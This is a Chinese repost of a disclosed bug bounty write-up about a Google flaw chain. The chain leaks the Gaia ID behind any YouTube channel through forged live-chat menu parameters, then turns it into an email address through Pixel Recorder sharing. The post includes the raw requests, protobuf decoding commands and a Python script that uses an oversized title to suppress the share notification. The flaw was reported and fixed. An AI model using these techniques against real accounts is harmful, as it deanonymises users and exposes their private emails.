不是,你咋又在YouTube油管赚到10000$?

admin 2025年4月7日11:55:37评论3 views字数 8825阅读29分25秒阅读模式

背景

本次分享一个最近认为非常有趣的漏洞,该漏洞最终获得10000刀换算为人民币大概7w多的现金奖励。

漏洞原理并不复杂,胜在细心,You Do You can 的水平。

不是,你咋又在YouTube油管赚到10000$?

正文

前段时间,我在寻找 Google 的研究目标时,翻阅了内部 People API(Staging)发现文档,直到注意到一些有趣的内容:

"BlockedTarget":{"id":"BlockedTarget","description":"The target of a user-to-user block, used to specify creation/deletion of blocks.","type":"object","properties":{"profileId":{"description":"Required. The obfuscated Gaia ID of the user targeted by the block.","type":"string"},"fallbackName":{"description":"Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.","type":"string"}}},

看起来,Google 跨服务的“屏蔽用户”功能是基于一个混淆过的 Gaia ID 以及该被屏蔽用户的显示名称。这个混淆 Gaia ID,其实就是一个 Google 账户的唯一标识符。

这本来似乎没什么问题,直到我想起了这篇支持页面:

不是,你咋又在YouTube油管赚到10000$?

当我在 YouTube 上屏蔽某人时,系统会在 https://myaccount.google.com/blocklist 中显示被屏蔽用户的混淆 Gaia ID(Google 账号标识符)和显示名称。

不是,你咋又在YouTube油管赚到10000$?

备用名称被设置为该用户的频道名称 “Mega Prime”,而 profile ID 则是他们混淆后的 Gaia ID:107183641464576740691。

这让我觉得非常诡异,因为 YouTube 理应绝不会泄露某个频道背后的 Google 账号信息。

但过去曾出现过好几个漏洞,能将这些 ID 解析成电子邮件地址,所以我确信在某个被遗忘的老旧 Google 产品中,仍然存在 Gaia ID 到邮箱的映射。

升级危害: 影响40 亿YouTube 频道

目前我们已经能泄露任何直播聊天用户的 Gaia ID,但问题来了 —— 能不能把这个能力“升级”,扩大到 YouTube 上的所有频道呢?

事实证明:可以。

不是,你咋又在YouTube油管赚到10000$?

当你在某个频道的评论区或直播聊天中,点击“三个点”的操作菜单(也就是那个上下文菜单),后台其实就会悄悄发送一个请求:

Request

POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2Host: www.youtube.comCookie: <redacted>

Response

HTTP/2200 OKContent-Type: application/json; charset=UTF-8Server: scaffolding on HTTPServer2{  ..."serviceEndpoint":{    ..."commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/live_chat/moderate"}},"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="}}  ...}

那个 params 只是一个经过 base64 编码的 protobuf(协议缓冲区)数据,这是一种 Google 内部广泛使用的编码格式。

如果我们尝试解码这个 moderateLiveChatEndpoint 参数:

$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw1{5{1:"UChs0pSaEoNLV4mevBFGaoKA"2:"36YnV9STBqc"}}10:011:112{1:"113907466537670370590"2:"SE-aYOb-uCg059qHRis_ow"}14:0

实际上,它只包含了我们想要屏蔽的用户 Gaia ID,甚至不需要真正屏蔽他们!

接下来,让我们看看 get_item_context_menu 请求中的 params:

$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw3{5{1:"UChs0pSaEoNLV4mevBFGaoKA"2:"36YnV9STBqc"}}6{1:"UCSE-aYOb-uCg059qHRis_ow"}

看起来,它只是包含了我们要屏蔽的频道 ID、直播视频 ID 和直播作者 ID。接下来,我们尝试伪造请求参数,用我们自己目标的频道 ID 来进行测试。

为了这个测试,我们将使用一个主题频道,因为它们是由 YouTube 自动生成的,并且可以确保没有任何直播聊天消息。

$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=

在 /youtubei/v1/live_chat/get_item_context_menu 上进行测试:

..."moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}...
echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw1{5{1:"UChs0pSaEoNLV4mevBFGaoKA"2:"36YnV9STBqc"}}10:011:112{1:"103261974221829892167"2:"D2LZAT1j1DyVXq2R2BdusQ"}

我们可以泄露该频道的 Gaia ID - 103261974221829892167

缺失的拼图:Pixel Recorder

我把 YouTube Gaia ID 泄露的事情告诉了我的朋友 Nathan,然后我们开始研究一些被遗忘的旧版 Google 产品,因为它们可能存在某个漏洞或逻辑缺陷,可以将 Gaia ID 解析成电子邮件地址。

Pixel Recorder 就是其中之一。

Nathan 在他的 Pixel 手机上录制了一个测试视频,并同步到他的 Google 账户,这样我们就可以通过网页访问这些端点,地址是 https://recorder.google.com:

不是,你咋又在YouTube油管赚到10000$?

当我们尝试将录音分享给一个测试邮箱时,我们突然意识到了关键点所在:

Request

POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2Host: pixelrecorder-pa.clients6.google.comCookie: <redacted>Content-Length:80Authorization: <redacted>X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2RoContent-Type: application/json+protobufReferer: https://recorder.google.com/["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]

Response

HTTP/2200 OKContent-Type: application/json+protobuf; charset=UTF-8Server: ESFContent-Length:138["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"[email protected]"]]]

这个接口居然接受了一个混淆过的 Gaia ID,然后……返回了对应的邮箱地址?

我们用之前在 YouTube 屏蔽用户时拿到的 Gaia ID 107183641464576740691 做了测试,结果真的成功了:

HTTP/2200 OKContent-Type: application/json+protobuf; charset=UTF-8Server: ESFContent-Length:138["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"[email protected]"],[null,2,"[email protected]"]]]

一个小问题:如何避免通知目标用户

虽然我们可以通过这个接口成功获取邮箱地址,但过程中会触发一个小小的副作用 —— Google 会向目标邮箱发送分享通知邮件。

不是,你咋又在YouTube油管赚到10000$?

这显然会暴露我们的行为,所以接下来我们需要想办法悄无声息地完成查询,避免打草惊蛇。

这可不妙,这个问题会大大降低整个漏洞的危害等级。

在分享的弹窗界面里,似乎并没有任何选项可以关闭通知邮件的发送。

不是,你咋又在YouTube油管赚到10000$?

也就是说,只要我们通过这个方法查询邮箱,对方就会收到一封“有人分享了录音给你”的邮件,瞬间暴露我们在“搞事情”——对研究者来说,这无疑是一大限制。

我尝试用我的工具 req2proto 把整个请求的 proto(协议缓冲区)结构泄出来看个清楚,但……并没有发现任何能关闭邮件通知的字段或选项。

syntax = "proto3";package java.com.google.wireless.android.pixel.recorder.protos;import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";message WriteShareListRequest {  string recording_id = 1;  string delete_obfuscated_gaia_ids = 2;  ShareUser update_shared_users = 3;  string sharing_message = 4;}message ShareUser {  string obfuscated_gaia_id = 1;  java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;  string email = 3;}

换句话说,这个接口默认就是“必通知”的设定,无法通过简单手段静默操作。

这对我们想要低调挖洞、静悄悄搞测试来说,是个不小的麻烦。

即便我们尝试在同一个请求中同时添加又移除该用户,邮件依然还是被发了出去——这一招也行不通。

但就在这时候,我们灵光一闪:

如果 Google 的通知邮件会在主题行中包含我们的录音标题,那会不会在标题太长时,它就无法正常发送邮件了?

于是我们立刻动手,撸了个简单的 Python 脚本来验证这个大胆的想法:

import requestsBASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"headers = {    "Host": "pixelrecorder-pa.clients6.google.com",    "Content-Type": "application/json+protobuf",    "X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",    "Origin": "https://recorder.google.com"}def get_recording_uuid(share_id: str):    payload = f"["{share_id}"]"    response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)    if response.status_code != 200:        print("unknown error when getting recording uuid: ", response.json())        exit(1)    try:        response = response.json()    except:        print('can't parse response when getting recording uuid: ', response.text)        exit(1)    return response["recording"]["uuid"]def update_recording_title(share_id: str):    x = 'X'*2500000 # 2.5 million char long title name!    payload = f'["{share_id}","{x}"]'    response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)    if response.status_code != 200:        print("unknown error when updating recording title: ", response.json())        exit(1)def main():    share_id = input("Enter share ID: ")    headers["Cookie"] = input("Cookie header:" )    headers["Authorization"] = input("Authorization header: ")    uuid = get_recording_uuid(share_id)    print("UUID:", uuid)    update_recording_title(uuid)    print("Updated recording title successfully.")if __name__ == "__main__":    main()

……然后我们的录音标题一下子飙到了 250 万个字符 长!

最让人惊讶的是——服务器端居然没有对录音标题长度做任何限制。完全放飞自我,怎么长都行!

这意味着什么?意味着我们有可能用一个超长标题“撑爆”邮件通知系统,从而让邮件根本发不出去。聪明吧?😎

不是,你咋又在YouTube油管赚到10000$?

接着我们把这个“超长标题”的录音分享给另一个测试用户……

不是,你咋又在YouTube油管赚到10000$?

整合漏洞利用链

我们基本上已经拿到了完整的攻击链,现在只需要把它们串联起来:

  1. 1. 通过 Innertube 接口 /get_item_context_menu 泄露目标 YouTube 频道的 混淆 Gaia ID
  2. 2. 将一个超长标题的 Pixel 录音分享给目标用户,从而将 Gaia ID 转换为电子邮件地址
  3. 3. 将目标用户从 Pixel 录音的分享列表中移除(清理现场)

下面是这个漏洞的实际利用演示:

https://www.youtube.com/embed/nuZiiKVej84

时间线

2024-09-15 - 向厂商提交报告
2024-09-16 - 厂商开始处理并审核报告
2024-09-16 - 🎉 很棒的发现!
2024-10-03 - 面板将其标记为现有已追踪漏洞的重复项,并对最初的 YouTube 混淆 Gaia ID 泄露问题进行了失败的修复尝试
2024-10-03 - 向厂商澄清,Pixel Recorder 本身没有被视为漏洞(因为混淆 Gaia ID 已在 Google Maps/Play 审核员中泄露),并为厂商提供了一个解决方法,能够再次泄露 YouTube 频道的混淆 Gaia ID
2024-11-05 - 面板授予 $3,133 奖金。理由:漏洞利用的可能性中等,问题被归类为滥用方法,且具有较大影响
2024-12-03 - 产品团队将报告发送回面板,申请额外奖励,并协调定于 2025-02-03 的公开披露
2024-12-12 - 面板再次授予 $7,500 奖金。理由:漏洞利用的可能性高,问题被归类为滥用方法,且具有较大影响。由于攻击链的复杂性,基准金额减少了 1 次
2025-01-29 - 厂商请求将披露延期至 2025-02-02
2025-02-09 - 向厂商确认漏洞的两个部分都已修复(披露后已过 147 天)
2025-02-12 - 报告公开披露
thanks for: 
https://brutecat.com/articles/leaking-youtube-emails#the-missing-puzzle-piece-pixel-recorder

漏洞点评

整个漏洞发现过程是比较有趣的,是一个跨产品组合利用造成信息泄漏属于高危级别漏洞(平时可以多注意这块!)。

但相比漏洞的发现细节,我更加欣赏YouYuBe对待漏洞的态度,给人一种感觉是国外大型互联网企业对比国内会更加实事求是,更加尊重发现漏洞的努力甚至会为白帽子申请大额额外奖励(7500$)

试想一种情况,长期以往,如果没有这个尊重的激励机制,我觉得很多人慢慢就不会想着去证明漏洞危害来提交了,干嘛要多花费时间呢?

还有另外一种可能就是,国内的企业真的是严重问题太多了,动不动就各种rce,内网漫游,云产品无限制接管等等一系列直接到位的漏洞,这些归类严重级别的漏洞奖励预算也不多,所以其他常规高危漏洞价格自然可想而知,基本都是压低的,不给你忽略就算好的了。

最后,挖漏洞还是要看脸,多试试不同厂商,也许被你发现宝藏SRC呢?

原文始发于微信公众号(一个不正经的黑客):不是,你咋又在YouTube油管赚到10000$?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月7日11:55:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不是,你咋又在YouTube油管赚到10000$?http://cn-sec.com/archives/3922276.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息